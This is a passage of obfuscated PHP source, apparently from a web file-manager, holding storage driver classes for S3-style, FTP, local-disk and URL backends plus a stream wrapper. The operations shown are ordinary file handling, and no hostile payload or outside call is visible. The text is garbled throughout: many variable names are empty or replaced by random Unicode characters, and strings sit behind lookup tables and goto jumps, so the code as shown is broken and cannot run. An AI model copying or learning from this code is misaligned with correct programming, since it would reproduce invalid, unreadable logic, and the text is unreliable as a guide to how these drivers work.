1; for ($ = 0; $ <= $; $++) { $ьޛ = $[$]; $˗ = get_path_this($ьޛ[$[32]]) . (checkExtSafe($ьޛ[$[32]]) ? $[12] : $[1226]); $[$][$[1225]] = $[1227] . intval($ьޛ[$[1210]]) . $[415] . $˗; if ($ == 0) { continue; } $[$][$[1225]] = $[$ - 1][$[1225]] . $[1228] . $[$][$[1225]]; } } } if (!is_array($) || count($) == 0) { return !1; } $͐ = $[count($) - 1]; if (!IO::exist($)) { return !1; } $؃ڡ = TEMP_FILES . $[1229] . kodIO::hashPathSafe($) . $[8]; $лʍ = $؃ڡ . $͐[$[1225]]; mk_dir($؃ڡ); file_put_contents(TEMP_FILES . $[1204], $[12]); if (IO::exist($лʍ)) { return array($[200] => $лʍ, $[1209] => $, $[1211] => $؃ڡ); } $ = self::localFilePath($); if (!$) { $ = $؃ڡ . $[1230]; if (!IO::exist($)) { self::copy($, $؃ڡ, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($͐[$[1210]] == -1) { return array($[200] => $, $[1209] => $, $[1211] => $؃ڡ); } $ň = $; foreach ($ as $ => $ьޛ) { if (!$ьޛ || $ьޛ[$[1210]] == $[1208]) { break; } if (substr($ьޛ[$[32]], -1, 1) == $[8]) { break; } $䊤 = in_array(get_path_ext($ьޛ[$[1225]]), array($[342], $[1215], $[1216], $[1217], $[1218], $[1219])); $ߧ = $ == count($) - 1 && $䊤; $ = $؃ڡ . $ьޛ[$[1225]]; $ = $؃ڡ . get_path_this($ьޛ[$[32]]); if (IO::exist($)) { $ň = $; continue; } $С = $ == 0 ? get_path_ext($ɚ) : get_path_ext($ň); $͂ = KodArchive::extract(self::iconvSystem($ň), $؃ڡ, $ьޛ[$[1210]], $, $С); self::unzipErrorCheck($͂, array($[1231], $, $, $ьޛ, $)); if (IO::exist($)) { IO::rename($, get_path_this($)); } $ň = $; } $лʍ = $ň; return array($[200] => $ň, $[1209] => $, $[1211] => $؃ڡ); } private static function unzipErrorCheck($Ϸ, $ۗ = false) { $ =& $_SERVER[̧]; if ($Ϸ[$[1232]]) { return !0; } write_log(array($[1233], $Ϸ, $ۗ), $[1234]); show_json($[1235] . json_encode($Ϸ[$[1222]]), !1); die; } } goto Bƞ; C: define($_SERVER[̧][267], 1); define($_SERVER[̧][268], 2); define($_SERVER[̧][269], 3); goto BАń; Dͩ: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[̧][216]); } public function uploadFormData($د, $ = 3600) { $Ӎ =& $_SERVER[̧]; $̣ = $Ӎ[199]; $ = $Ӎ[238]; $׶ = $Ӎ[62]; $ı = gmdate($Ӎ[239]); $ꃅ = gmdate($Ӎ[240]); $ = $Ӎ[241]; $Ï = $ . $Ӎ[12]; $Ȩۚ = $Ӎ[242]; $ = array($this->accessKey, $ꃅ, $this->region, $׶, $); $ = implode($Ӎ[8], $); $ = array($Ӎ[243] => gmdate($Ӎ[1345], strtotime($Ӎ[245])), $Ӎ[246] => array(array($Ӎ[247] => $this->bucket), array($Ӎ[248] => $̣), array($Ӎ[249], $Ӎ[250], $Ӎ[12]), array($Ӎ[249], $Ӎ[251], $Ӎ[12]), array($Ӎ[249], $Ӎ[252], $Ӎ[12]), array($Ӎ[253] => $Ȩۚ), array($Ӎ[254] => $), array($Ӎ[255] => $), array($Ӎ[256] => $ı), array($Ӎ[257] => $Ï))); $ = base64_encode(json_encode($)); $؂ = hash_hmac($Ӎ[258], $ꃅ, $Ӎ[259] . $this->secret, !0); $񄽎 = hash_hmac($Ӎ[258], $this->region, $؂, !0); $ʦ = hash_hmac($Ӎ[258], $׶, $񄽎, !0); $޷ = hash_hmac($Ӎ[258], $, $ʦ, !0); $ʘ = hash_hmac($Ӎ[258], $, $޷); $ = array($Ӎ[215] => $Ӎ[12], $Ӎ[260] => $Ӎ[12], $Ӎ[248] => $̣, $Ӎ[253] => $Ȩۚ, $Ӎ[261] => $, $Ӎ[262] => $, $Ӎ[263] => $, $Ӎ[264] => $ı, $Ӎ[265] => $Ï, $Ӎ[266] => $ʘ, $Ӎ[182] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($훑ւ) { parent::__construct(); if (count($훑ւ) > 0) { $this->_init($훑ւ); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($Ć) { $ =& $_SERVER[̧]; global $config; $this->appCharset = $config[$[1372]]; $this->systemCharset = $config[$[1373]]; if (isset($Ć[$[1374]]) && $Ć[$[1374]]) { $this->systemCharset = $Ć[$[1374]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($܍) { return $this->iconvTo($܍, $this->appCharset, $this->systemCharset); } public function getPathOuter($Š) { $DZ =& $_SERVER[̧]; $ݾ = $this->iconvApp($this->pathBase); $Š = $this->iconvApp($Š); if (substr($ݾ, 0, 2) == $DZ[1298]) { $ݾ = BASIC_PATH . substr($ݾ, 2); } if (substr($Š, 0, 2) == $DZ[1298]) { $Š = BASIC_PATH . substr($Š, 2); } $ݾ = KodIO::clear($ݾ); $Š = KodIO::clear($Š); $Š = substr($Š, strlen($ݾ)); if (empty($this->pathDriver)) { return $Š; } return $this->pathDriver . $DZ[8] . ltrim($Š, $DZ[8]); } private function _init($ڜߐ = array()) { $񶳬 =& $_SERVER[̧]; if (!function_exists($񶳬[1375])) { throw new Exception(LNG($񶳬[1376])); } $this->config = $ڜߐ; $this->charsetReset($ڜߐ); foreach ($ڜߐ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } return $this->_login($ڜߐ); } private function _login($̸̿) { $ =& $_SERVER[̧]; static $ = array(); $ = md5(json_encode($̸̿)); if (isset($[$])) { foreach ($[$] as $Պҹ => $) { $this->{$Պҹ} = $; } return !0; } $Ҿ = parse_url(trim($this->server, $[8])); $this->host = $Ҿ[$[182]]; $ = isset($Ҿ[$[181]]) && $Ҿ[$[181]] == $[1377] ? !0 : !1; $this->scheme = $ ? $[1378] : $[1379]; $this->port = isset($Ҿ[$[183]]) ? $Ҿ[$[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $Ӌ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ܗڨ = $this->pasv == $[88] ? !0 : !1; @ftp_pasv($this->connect, $ܗڨ); $[$] = array($[1380] => $this->connect, $[182] => $this->host, $[181] => $this->scheme, $[183] => $this->port); return $Ӌ; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($ծ, $٫ɾ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ծ = $this->iconvSystem($ծ); if ($this->_isFolder($ծ) || @ftp_mkdir($this->connect, $ծ)) { return $this->getPathOuter($ծ); } if (!$this->mkdir($this->pathFather($ծ))) { return !1; } if ($ծ = @ftp_mkdir($this->connect, $ծ)) { return $this->getPathOuter($ծ); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); $兺 = $this->iconvApp($); $this->download($, $兺); $֮ = $this->upload($, $兺); $this->tempFileRemve($); return $֮; } public function moveFile($, $ఘ) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ఘ = $this->iconvSystem($ఘ); $ί = @ftp_rename($this->connect, $, $ఘ); return $ί ? $this->getPathOuter($ఘ) : !1; } public function delFile($Ϭ) { if (!$this->_isconn()) { return !1; } $Ϭ = $this->iconvSystem($Ϭ); return @ftp_delete($this->connect, $Ϭ); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $䣬 = $ø = array(); $this->fileList($, $䣬, $ø, !0); $this->listItemCache = !0; foreach ($ø as $۩) { $Ѥ = $this->iconvSystem($۩[$_SERVER[̧][32]]); $ݍЙ = @ftp_delete($this->connect, $Ѥ); if (!$ݍЙ) { return !1; } } foreach ($䣬 as $Ѥ) { $Ѥ = $this->iconvSystem($Ѥ); $ݍЙ = @ftp_rmdir($this->connect, $Ѥ); if (!$ݍЙ) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $ؒ) { $DZ =& $_SERVER[̧]; if (!$this->_isconn()) { return !1; } $ә = $this->fileNameAuto($this->pathFather($), $ؒ); $ә = $this->iconvSystem($ә); $ = $this->iconvSystem($); $ = $this->pathFather($); $ôݧ = rtrim($, $DZ[8]) . $DZ[8] . $ә; $ = @ftp_rename($this->connect, $, $ôݧ); $ôݧ = $this->iconvApp($ôݧ); return $ ? $this->getPathOuter($ôݧ) : !1; } private function folderInfo($, $ = false) { $ԥ =& $_SERVER[̧]; $ = array($ԥ[32] => $this->pathThis($), $ԥ[84] => $this->getPathOuter($ԥ[8] . $), $ԥ[33] => $ԥ[75]); if ($) { return $; } $[$ԥ[201]] = $[$ԥ[85]] = 0; $[$ԥ[202]] = $[$ԥ[203]] = !0; return $; } private function fileInfo($܎, $ = false, $Ƹ = array()) { $ŝ =& $_SERVER[̧]; $論 = array($ŝ[32] => $this->pathThis($܎), $ŝ[84] => $this->getPathOuter($ŝ[8] . $܎), $ŝ[33] => $ŝ[200], $ŝ[76] => isset($Ƹ[$ŝ[76]]) ? $Ƹ[$ŝ[76]] : 0, $ŝ[174] => $this->ext($܎)); if ($) { return $論; } $論[$ŝ[201]] = $論[$ŝ[85]] = 0; $論[$ŝ[202]] = $論[$ŝ[203]] = !0; $хĵ = $this->iconvSystem($܎); $論[$ŝ[85]] = @ftp_mdtm($this->connect, $хĵ); if (empty($Ƹ)) { $Ƹ = $this->objectMeta($܎); if (!$Ƹ) { return $論; } } $論[$ŝ[76]] = $Ƹ[$ŝ[76]]; return $論; } public function size($) { $Ԩ = $this->objectMeta($); return $Ԩ ? $Ԩ[$_SERVER[̧][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$ӕ, &$, $Ⰾ = false) { $Զּ =& $_SERVER[̧]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $Զּ[8]); $ = rtrim($, $Զּ[8]) . $Զּ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $Ѣ = array($Զּ[10] => 1, $Զּ[1299] => 1); foreach ($ as $¡) { $ = $this->_listItem($¡); if ($[0] == $Զּ[778]) { continue; } $ĺҰ = $[8]; if (empty($ĺҰ) && $ĺҰ !== $Զּ[198] || isset($Ѣ[$ĺҰ])) { continue; } $ĺҰ = $this->iconvApp($ . ltrim($ĺҰ, $Զּ[8])); $ = array($Զּ[32] => $ĺҰ, $Զּ[33] => $Զּ[200], $Զּ[76] => $[4]); if (substr($¡, 0, 1) == $Զּ[1381]) { $[$Զּ[33]] = $Զּ[75]; $[$Զּ[76]] = 0; } $ڤ = $[$Զּ[33]] == $Զּ[75] ? !0 : !1; $this->cacheMethodInfoSet($ĺҰ, $ڤ, $); if ($ڤ) { $ӕ[] = $ĺҰ; if ($Ⰾ) { $this->fileList($ĺҰ, $ӕ, $, $Ⰾ); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($ܭō) { if (empty($ܭō)) { return array(); } $ = preg_split($_SERVER[̧][1382], $ܭō); if (count($) <= 9) { return $; } $[8] = trim(substr($ܭō, strpos($ܭō, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $̮ = false) { $ =& $_SERVER[̧]; if (!$this->_isconn()) { return !1; } $Ο = $յ = array(); $this->fileList($, $Ο, $յ); foreach ($Ο as $ => $𙘤) { $Ο[$] = $this->folderInfo($𙘤, $̮); } foreach ($յ as $ => $𙘤) { $յ[$] = $this->fileInfo($𙘤[$[32]], $̮, $𙘤); } return array($[82] => $Ο, $[83] => $յ); } public function has($ۓ, $ʍ͛ = false, $ = true) { $ =& $_SERVER[̧]; $ꭀ = $ֆ = array(); $ = $ʍ͛ ? !0 : !1; $this->fileList($ۓ, $ꭀ, $ֆ, $); if ($ʍ͛) { return array($[207] => count($ֆ), $[208] => count($ꭀ)); } if ($) { if (count($ֆ)) { return !0; } } else { if (count($ꭀ)) { return !0; } } return !1; } public function listAll($Ě) { $ô =& $_SERVER[̧]; if (!$this->_isconn()) { return !1; } $ǻ = $̉ = array(); $this->fileList($Ě, $ǻ, $̉, !0); $ʹǢ = array_to_keyvalue($̉, $ô[32]); foreach ($ǻ as $) { if (is_string($)) { $ʹǢ[$] = array($ô[76] => 0); } } return $this->listAllFiles($Ě, $ʹǢ); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($Ʈ, $ҽ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($Ʈ)); $ = $this->tempFile($); file_put_contents($, $ҽ); $վ˰ = $this->upload($Ʈ, $this->iconvApp($)); $this->tempFileRemve($); return $վ˰; } public function fileSubstr($, $ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $); } private function ftpRequest($撟, $ = 0, $Ո = false) { $撟 = $this->iconvSystem($撟); $ = $this->scheme . $this->host . $_SERVER[̧][4] . $this->port; $˽ = curl_init(); curl_setopt($˽, CURLOPT_URL, $ . $this->pathEncode($撟)); curl_setopt($˽, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($Ո) { $س = $ + $Ո - 1; curl_setopt($˽, CURLOPT_RANGE, "{$}\x2d{$س}"); } curl_setopt($˽, CURLOPT_RETURNTRANSFER, 1); $ɇ = curl_exec($˽); curl_close($˽); return $ɇ; } public function upload($, $, $韬 = false, $ϕ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ۤß = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ۤß == FTP_MOREDATA) { $ۤß = ftp_nb_continue($this->connect); } if ($ۤß != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($Ϸ, $ = '') { if (!$this->_isconn()) { return !1; } $ԏ = $this->pathFather($); if (!IO::mkdir($ԏ)) { return !1; } $Ϸ = $this->iconvSystem($Ϸ); $ = $this->iconvSystem($); $ּԞԢ = ftp_nb_get($this->connect, $, $Ϸ, FTP_BINARY); while ($ּԞԢ == FTP_MOREDATA) { $ּԞԢ = ftp_nb_continue($this->connect); } if ($ּԞԢ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($涳) { return !$this->isFolder($涳) && $this->objectMeta($涳); } public function isFolder($頄) { return $this->cacheMethod($_SERVER[̧][165], $頄); } protected function objectMeta($䛑) { return $this->cacheMethod($_SERVER[̧][167], $䛑); } protected function _objectMeta($ǖ) { $ =& $_SERVER[̧]; if ($ǖ == $[12] || $ǖ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ǖ = $this->iconvSystem($ǖ); $ļ۝ = array($[32] => $this->iconvApp($ǖ), $[33] => $[200], $[76] => 0); @ftp_chdir($this->connect, $[8]); $ѥթ = @ftp_size($this->connect, $ǖ); if ($ѥթ != -1) { $ļ۝[$[76]] = $ѥթ; } else { $َ = @ftp_chdir($this->connect, $ǖ); if (!$َ) { return !1; } $ļ۝[$[33]] = $[75]; } return $ļ۝; } protected function _isFolder($ޮ) { $ݞ =& $_SERVER[̧]; if ($ޮ == $ݞ[12] || $ޮ == $ݞ[8]) { return !0; } $ݓ = $this->_objectMeta($ޮ); return isset($ݓ[$ݞ[33]]) && $ݓ[$ݞ[33]] == $ݞ[75] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($ϟ) { if (substr($ϟ, 0, 2) == $_SERVER[̧][1298]) { $ϟ = BASIC_PATH . substr($ϟ, 2); } return $ϟ; } public function iconvApp($ֆ) { $𰧏 =& $_SERVER[̧]; global $config; return $this->iconvTo($ֆ, $config[$𰧏[1373]], $config[$𰧏[1372]]); } public function iconvSystem($ͮ) { $Ӧ =& $_SERVER[̧]; global $config; return $this->iconvTo($ͮ, $config[$Ӧ[1372]], $config[$Ӧ[1373]]); } public function getPathOuter($↋) { $ĥ =& $_SERVER[̧]; $ѱ = $this->iconvApp($this->pathBase); $↋ = $this->iconvApp($↋); if (substr($ѱ, 0, 2) == $ĥ[1298]) { $ѱ = BASIC_PATH . substr($ѱ, 2); } if (substr($↋, 0, 2) == $ĥ[1298]) { $↋ = BASIC_PATH . substr($↋, 2); } $ѱ = KodIO::clear($ѱ); $↋ = KodIO::clear($↋); $↋ = substr($↋, strlen($ѱ)); if (empty($this->pathDriver)) { return $↋; } return $this->pathDriver . $ĥ[8] . ltrim($↋, $ĥ[8]); } public function mkfile($ֺ, $ = '', $羗 = REPEAT_RENAME) { $ֺ = $this->iconvSystem($ֺ); @touch($ֺ); if ($) { file_put_contents($ֺ, $); } @chmod($ֺ, $this->pathAuth); return is_file($ֺ) ? $this->getPathOuter($ֺ) : !1; } public function mkdir($Д, $٘⩟ = REPEAT_SKIP) { $Д = $this->iconvSystem($Д); if (is_dir($Д)) { return $this->getPathOuter($Д); } @mkdir($Д, $this->pathAuth, !0); @chmod($Д, $this->pathAuth); return is_dir($Д) ? $this->getPathOuter($Д) : !1; } public function copyFile($ճ, $¦) { $this->mkdir($this->pathFather($¦)); $ճ = $this->iconvSystem($ճ); $¦ = $this->iconvSystem($¦); $Ƨ = copy_64($ճ, $¦); @chmod($¦, $this->pathAuth); return $Ƨ ? $this->getPathOuter($¦) : !1; } public function moveFile($炻, $) { $this->mkdir($this->pathFather($)); $炻 = $this->iconvSystem($炻); $ = $this->iconvSystem($); $ = intval(@rename($炻, $)); if (!$) { if ($ = intval(@copy_64($炻, $))) { @unlink($炻); } } @chmod($, $this->pathAuth); return $ ? $this->getPathOuter($) : !1; } public function movePath($, $瓟, $ = false) { $ =& $_SERVER[̧]; $ = $this->iconvSystem($); $瓟 = $this->iconvSystem($瓟); $ = rtrim($瓟, $[8]) . $[8] . ($ ? $ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); return $ ? $this->getPathOuter($) : !1; } public function delFile($ė) { $ė = $this->iconvSystem($ė); if (!@unlink($ė)) { @chmod($ė, $this->pathAuth); if (!@unlink($ė)) { return !1; } } else { return !0; } } public function delFolder($) { $Ǘ =& $_SERVER[̧]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($ﷻ = opendir($))) { return !1; } while (($ = readdir($ﷻ)) !== !1) { if ($ == $Ǘ[10] || $ == $Ǘ[1299]) { continue; } $ = $ . $Ǘ[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($ﷻ); return rmdir($); } public function rename($𰫵, $߸) { $ʂ =& $_SERVER[̧]; $≊ = $this->fileNameAuto($this->pathFather($𰫵), $߸); $≊ = $this->iconvSystem($≊); $𰫵 = $this->iconvSystem($𰫵); $˼Ԋ = $this->pathFather($𰫵); $ɲ = rtrim($˼Ԋ, $ʂ[8]) . $ʂ[8] . $≊; $ѩ = @rename($𰫵, $ɲ); $ɲ = $this->iconvApp($ɲ); return $ѩ ? $this->getPathOuter($ɲ) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($ޫ) { $ޫ = $this->iconvSystem($ޫ); if ($this->isFolder($ޫ)) { return $this->folderInfo($ޫ); } else { if ($this->isFile($ޫ)) { return $this->fileInfo($ޫ); } } return !1; } protected function infoChildren($٩Ԣ, &$, $ʹ = true) { $ =& $_SERVER[̧]; check_abort_echo(); $٩Ԣ = rtrim($٩Ԣ, $[8]) . $[8]; if ($ʹ) { $٩Ԣ = $this->iconvSystem($٩Ԣ); } if (!($Ӕ = @opendir($٩Ԣ))) { return; } while (($ = readdir($Ӕ)) !== !1) { if ($ == $[10] || $ == $[1299]) { continue; } $ά = $٩Ԣ . $; if (is_file($ά) || is_link($ά)) { $[$[77]]++; $[$[76]] += filesize_64($ά); } else { if (is_dir($ά)) { $[$[78]]++; $this->infoChildren($ά, $, !1); } } } closedir($Ӕ); } private function folderInfo($, $ = false) { $ϋ =& $_SERVER[̧]; $ = rtrim($, $ϋ[8]) . $ϋ[8]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($ϋ[32] => $, $ϋ[84] => $this->getPathOuter($), $ϋ[33] => $ϋ[75]); } $乶˦ = array($ϋ[32] => $, $ϋ[84] => $this->getPathOuter($), $ϋ[33] => $ϋ[75], $ϋ[201] => @filectime($), $ϋ[85] => @filemtime($), $ϋ[1383] => @fileatime($), $ϋ[1384] => is_readable($), $ϋ[1385] => is_writable($), $ϋ[1386] => get_mode($)); return $乶˦; } private function fileInfo($, $㱭 = false) { $Յ =& $_SERVER[̧]; $ګҹ = $this->iconvApp($this->pathThis($)); if ($㱭) { return array($Յ[32] => $ګҹ, $Յ[84] => $this->getPathOuter($), $Յ[33] => $Յ[200], $Յ[76] => $this->size($), $Յ[174] => $this->ext($ګҹ)); } $ٜ = array($Յ[32] => $ګҹ, $Յ[84] => $this->getPathOuter($), $Յ[33] => $Յ[200], $Յ[201] => @filectime($), $Յ[85] => @filemtime($), $Յ[1383] => @fileatime($), $Յ[76] => $this->size($), $Յ[174] => $this->ext($ګҹ), $Յ[1384] => is_readable($), $Յ[1385] => is_writable($), $Յ[1386] => get_mode($)); return $ٜ; } public function exist($ꩆ) { $ꩆ = $this->iconvSystem($ꩆ); return @file_exists($ꩆ); } public function isFile($❝) { $❝ = $this->iconvSystem($❝); return @is_file($❝); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($, $ݷ = false) { $ō˱ =& $_SERVER[̧]; $ = $this->iconvSystem($); $ = rtrim($, $ō˱[8]) . $ō˱[8]; $ = array($ō˱[82] => array(), $ō˱[83] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $ō˱[10] || $ == $ō˱[1299]) { continue; } $瀼ۗ = $ . $; if (is_file($瀼ۗ)) { $[$ō˱[83]][] = $this->fileInfo($瀼ۗ, $ݷ); } else { $[$ō˱[82]][] = $this->folderInfo($瀼ۗ, $ݷ); } } closedir($); return $; } public function listAll($, &$ = array()) { $ =& $_SERVER[̧]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $[10] || $ == $[1299]) { continue; } $ = $ . $; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $[] = array($[84] => $, $[75] => $, $[85] => intval(@filemtime($)), $[76] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $); } } closedir($); return $; } public function has($ӿ, $⦴ = false, $ = true) { $Ɛђ =& $_SERVER[̧]; $ӿ = $this->iconvSystem($ӿ); $ӿ = rtrim($ӿ, $Ɛђ[8]) . $Ɛђ[8]; if (!($۶ = @opendir($ӿ))) { return !1; } $ = 0; $ = 0; $ֽΨ = 0; while (($ = readdir($۶)) !== !1) { if ($ == $Ɛђ[10] || $ == $Ɛђ[1299]) { continue; } $໗ϵ = $ӿ . $; if ($⦴) { $ֽΨ++; if (@is_file($໗ϵ)) { $++; } else { $++; } if ($ֽΨ > 10000) { break; } continue; } if ($) { if (@is_file($໗ϵ)) { return !0; } } else { if (@is_dir($໗ϵ . $Ɛђ[8])) { return !0; } } } closedir($۶); if ($⦴) { return array($Ɛђ[207] => $, $Ɛђ[208] => $); } return !1; } public function hashSimple($壡) { $ =& $_SERVER[̧]; if (!$壡) { return md5($[12]); } $壡 = $this->iconvSystem($壡); $ = $this->size($壡); $Ǣ = 200; $ۂ = 50; if ($ <= $Ǣ * $ۂ) { return $this->hashMd5($壡) . $; } $ǟ = $[12]; $ = intval($ / $ۂ); $䇜 = fopen($壡, $[1387]); if (!$䇜) { return $ǟ; } for ($ = 0; $ < $ۂ; $++) { fseek_64($䇜, $ * $); $ǟ .= fread($䇜, $Ǣ); } fseek_64($䇜, $ - $Ǣ); $ǟ .= fread($䇜, $Ǣ); fclose($䇜); return md5($ǟ) . $; } public function getContent($) { $ = $this->iconvSystem($); return file_get_contents($); } public function setContent($Ϸ, $ɖ = '') { $Ϸ = $this->iconvSystem($Ϸ); $ = @file_put_contents($Ϸ, $ɖ, LOCK_EX); clearstatcache(); @chmod($Ϸ, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $ = 0, $ = false) { $窡 =& $_SERVER[̧]; $ = $this->iconvSystem($); if ($ === !1) { $ = $this->size($); } if ($ <= 0) { return $窡[12]; } $ܜ = fopen($, $窡[1387]); if (!$ܜ) { return !1; } fseek_64($ܜ, $); $ = fread($ܜ, $); fclose($ܜ); return $; } public function upload($, $ᓹ, $ԍ೮ = false, $Ӏ = REPEAT_REPLACE) { if ($ԍ೮) { return $this->moveFile($ᓹ, $); } return $this->copyFile($ᓹ, $); } public function setModifyTime($ٰԵ, $я = '') { @touch($ٰԵ, intval($я)); } public function download($޺, $Ϗ) { return $this->iconvSystem($޺); } } goto Cɹʇ; Aش: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($Ƃ = false) { } public function exist($Ԡ) { $絶 = $this->info($Ԡ); return $絶[$_SERVER[̧][202]]; } public function isFile($Ϛ) { $ʒ = $this->info($Ϛ); return $ʒ[$_SERVER[̧][202]]; } public function isFolder($) { return !1; } public function size($ʽɌ) { $ݔ = $this->info($ʽɌ); return $ݔ[$_SERVER[̧][76]]; } public function info($Ȗ) { return $this->infoParse($Ȗ); } public function infoAuth($ŧ) { return $this->infoParse($ŧ); } public function infoWithChildren($ى) { return $this->infoParse($ى); } public function infoFull($߇) { return $this->infoParse($߇); } private function infoParse($) { $Î˄ =& $_SERVER[̧]; $ȭ = $this->header($); if (!$ȭ || !$ȭ[$Î˄[770]]) { return !1; } $à = _get($ȭ, $Î˄[366], 0); $ׄ = array($Î˄[32] => $ȭ[$Î˄[32]], $Î˄[84] => $, $Î˄[33] => $Î˄[200], $Î˄[76] => intval($à), $Î˄[174] => get_path_ext($ȭ[$Î˄[32]]), $Î˄[1384] => $à > 0 && $ȭ[$Î˄[1506]], $Î˄[1385] => !1); return $ׄ; } private function header($) { $מ =& $_SERVER[̧]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $֢ = isset($GLOBALS[$מ[1507]]) ? $GLOBALS[$מ[1507]] : !1; $GLOBALS[$מ[1507]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$מ[1507]] = $֢; return self::$_cacheHeader[$]; } public function hashSimple($Ų, $Ū = false) { $ކ =& $_SERVER[̧]; $ = $this->info($Ų); if (!$ || !$[$ކ[202]]) { return !1; } $޹ = $[$ކ[76]]; $Γ = 200; $ = 50; if ($޹ <= $Γ * $) { return md5($this->fileSubstr($Ų, 0, $޹)) . $޹; } $Ю = intval($޹ / $); $Ѯ = $ކ[12]; $ = timeFloat(); $ = 15; for ($˓ = 0; $˓ < $; $˓++) { if (timeFloat() - $ > $) { return !1; } $ﱑ = $this->fileSubstr($Ų, $Ю * $˓, $Γ); if (!$ﱑ) { return !1; } $Ѯ .= $ﱑ; } $Ѯ .= $this->fileSubstr($Ų, $޹ - $Γ, $Γ); return md5($Ѯ) . $޹; } public function getContent($އϛƭ) { return $this->fileSubstr($އϛƭ); } public function fileSubstr($ʖ, $Ջò = 0, $Ƅ = -1) { $ځ =& $_SERVER[̧]; $Խ = $this->info($ʖ); if (!$Խ || !$Խ[$ځ[202]] && $Խ[$ځ[76]] > 1024 * 1024 * 10) { return !1; } if ($Ƅ === -1) { $Ƅ = $Խ[$ځ[76]]; } if ($Ƅ == 0) { return $ځ[12]; } $ = array($ځ[1508] . $Ջò . $ځ[802] . ($Ջò + $Ƅ - 1)); $ = url_request($ʖ, $ځ[230], !1, $, !1, !1, 30); return $[$ځ[1222]] ? $[$ځ[1222]] : $ځ[12]; } public function download($ܶ, $ˤ) { Downloader::start($ܶ, $ˤ); return $ˤ; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ȅ, $Վ = '') { $this->info = $this->info($ȅ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[̧][84]]; $this->pathOpen = $ȅ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ȅ])) { self::$_chunkBuffer[$ȅ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($Л) { $ = $this->fileSubstr($this->pose, $Л); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[̧]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[76]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[76]] + $; } return !0; } 